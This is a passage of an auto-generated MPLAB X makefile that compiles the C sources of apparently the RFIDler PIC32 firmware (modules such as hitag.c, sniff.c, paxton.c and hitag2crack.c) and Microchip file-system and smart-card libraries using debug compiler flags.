${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/auto.o.d\" -o ${OBJECTDIR}/src/auto.o src/auto.c     \n\t\n${OBJECTDIR}/src/fdxb.o: src/fdxb.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/fdxb.o.d \n\t@${RM} ${OBJECTDIR}/src/fdxb.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/fdxb.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/fdxb.o.d\" -o ${OBJECTDIR}/src/fdxb.o src/fdxb.c     \n\t\n${OBJECTDIR}/src/hitag.o: src/hitag.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/hitag.o.d \n\t@${RM} ${OBJECTDIR}/src/hitag.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/hitag.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/hitag.o.d\" -o ${OBJECTDIR}/src/hitag.o src/hitag.c     \n\t\n${OBJECTDIR}/src/uid.o: src/uid.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/uid.o.d \n\t@${RM} ${OBJECTDIR}/src/uid.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/uid.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/uid.o.d\" -o ${OBJECTDIR}/src/uid.o src/uid.c     \n\t\n${OBJECTDIR}/src/login.o: src/login.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/login.o.d \n\t@${RM} ${OBJECTDIR}/src/login.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/login.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/login.o.d\" -o ${OBJECTDIR}/src/login.o src/login.c     \n\t\n${OBJECTDIR}/src/write.o: src/write.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/write.o.d \n\t@${RM} ${OBJECTDIR}/src/write.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/write.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/write.o.d\" -o ${OBJECTDIR}/src/write.o src/write.c     \n\t\n${OBJECTDIR}/src/auth.o: src/auth.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/auth.o.d \n\t@${RM} ${OBJECTDIR}/src/auth.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/auth.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/auth.o.d\" -o ${OBJECTDIR}/src/auth.o src/auth.c     \n\t\n${OBJECTDIR}/src/q5.o: src/q5.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/q5.o.d \n\t@${RM} ${OBJECTDIR}/src/q5.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/q5.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/q5.o.d\" -o ${OBJECTDIR}/src/q5.o src/q5.c     \n\t\n${OBJECTDIR}/src/vtag.o: src/vtag.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/vtag.o.d \n\t@${RM} ${OBJECTDIR}/src/vtag.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/vtag.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/vtag.o.d\" -o ${OBJECTDIR}/src/vtag.o src/vtag.c     \n\t\n${OBJECTDIR}/src/config.o: src/config.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/config.o.d \n\t@${RM} ${OBJECTDIR}/src/config.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/config.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/config.o.d\" -o ${OBJECTDIR}/src/config.o src/config.c     \n\t\n${OBJECTDIR}/src/select.o: src/select.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/select.o.d \n\t@${RM} ${OBJECTDIR}/src/select.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/select.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/select.o.d\" -o ${OBJECTDIR}/src/select.o src/select.c     \n\t\n${OBJECTDIR}/src/sdcard.o: src/sdcard.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/sdcard.o.d \n\t@${RM} ${OBJECTDIR}/src/sdcard.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/sdcard.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/sdcard.o.d\" -o ${OBJECTDIR}/src/sdcard.o src/sdcard.c     \n\t\n${OBJECTDIR}/src/debug_pins.o: src/debug_pins.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/debug_pins.o.d \n\t@${RM} ${OBJECTDIR}/src/debug_pins.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/debug_pins.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/debug_pins.o.d\" -o ${OBJECTDIR}/src/debug_pins.o src/debug_pins.c     \n\t\n${OBJECTDIR}/src/awid.o: src/awid.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/awid.o.d \n\t@${RM} ${OBJECTDIR}/src/awid.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/awid.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/awid.o.d\" -o ${OBJECTDIR}/src/awid.o src/awid.c     \n\t\n${OBJECTDIR}/src/analogue.o: src/analogue.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/analogue.o.d \n\t@${RM} ${OBJECTDIR}/src/analogue.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/analogue.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/analogue.o.d\" -o ${OBJECTDIR}/src/analogue.o src/analogue.c     \n\t\n${OBJECTDIR}/src/iso7816.o: src/iso7816.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/iso7816.o.d \n\t@${RM} ${OBJECTDIR}/src/iso7816.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/iso7816.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/iso7816.o.d\" -o ${OBJECTDIR}/src/iso7816.o src/iso7816.c     \n\t\n${OBJECTDIR}/src/t55x7.o: src/t55x7.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/t55x7.o.d \n\t@${RM} ${OBJECTDIR}/src/t55x7.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/t55x7.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/t55x7.o.d\" -o ${OBJECTDIR}/src/t55x7.o src/t55x7.c     \n\t\n${OBJECTDIR}/src/sniff.o: src/sniff.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/sniff.o.d \n\t@${RM} ${OBJECTDIR}/src/sniff.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/sniff.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/sniff.o.d\" -o ${OBJECTDIR}/src/sniff.o src/sniff.c     \n\t\n${OBJECTDIR}/src/tamagotchi.o: src/tamagotchi.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/tamagotchi.o.d \n\t@${RM} ${OBJECTDIR}/src/tamagotchi.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/tamagotchi.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/tamagotchi.o.d\" -o ${OBJECTDIR}/src/tamagotchi.o src/tamagotchi.c     \n\t\n${OBJECTDIR}/src/hdx.o: src/hdx.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/hdx.o.d \n\t@${RM} ${OBJECTDIR}/src/hdx.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/hdx.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/hdx.o.d\" -o ${OBJECTDIR}/src/hdx.o src/hdx.c     \n\t\n${OBJECTDIR}/src/hitag2crack.o: src/hitag2crack.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/hitag2crack.o.d \n\t@${RM} ${OBJECTDIR}/src/hitag2crack.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/hitag2crack.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/hitag2crack.o.d\" -o ${OBJECTDIR}/src/hitag2crack.o src/hitag2crack.c     \n\t\n${OBJECTDIR}/src/paxton.o: src/paxton.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/paxton.o.d \n\t@${RM} ${OBJECTDIR}/src/paxton.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/paxton.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/paxton.o.d\" -o ${OBJECTDIR}/src/paxton.o src/paxton.c     \n\t\nelse\n${OBJECTDIR}/_ext/1209914024/FSIO.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD\\ File\\ System/FSIO.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/_ext/1209914024\" \n\t@${RM} ${OBJECTDIR}/_ext/1209914024/FSIO.o.d \n\t@${RM} ${OBJECTDIR}/_ext/1209914024/FSIO.o \n\t@${FIXDEPS} \"${OBJECTDIR}/_ext/1209914024/FSIO.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/_ext/1209914024/FSIO.o.d\" -o ${OBJECTDIR}/_ext/1209914024/FSIO.o \"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/FSIO.c\"     \n\t\n${OBJECTDIR}/_ext/1209914024/SD-SPI.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD\\ File\\ System/SD-SPI.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/_ext/1209914024\" \n\t@${RM} ${OBJECTDIR}/_ext/1209914024/SD-SPI.o.d \n\t@${RM} ${OBJECTDIR}/_ext/1209914024/SD-SPI.o \n\t@${FIXDEPS} \"${OBJECTDIR}/_ext/1209914024/SD-SPI.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/_ext/1209914024/SD-SPI.o.d\" -o ${OBJECTDIR}/_ext/1209914024/SD-SPI.o \"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/SD-SPI.c\"     \n\t\n${OBJECTDIR}/_ext/1019771169/SClib.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart\\ Card/SClib.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/_ext/1019771169\" \n\t@${RM} ${OBJECTDIR}/_ext/1019771169/SClib.o.d \n\t@${RM} ${OBJECTDIR}/_ext/1019771169/SClib.o \n\t@${FIXDEPS} \"${OBJECTDIR}/_ext/1019771169/SClib.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/_ext/1019771169/SClib.o.d\" -o ${OBJECTDIR}/_ext/1019771169/SClib.o \"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SClib.c\"     \n\t\n${OBJECTDIR}/_ext/1019771169/SCpic32.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart\\ Card/SCpic32.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/_ext/1019771169\" \n\t@${RM} ${OBJECTDIR}/_ext/1019771169/SCpic32.o.d \n\t@${RM} ${OBJECTDIR}/_ext/1019771169/SCpic32.o \n\t@${FIXDEPS} \"${OBJECTDIR}/_ext/1019771169/SCpic32.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" 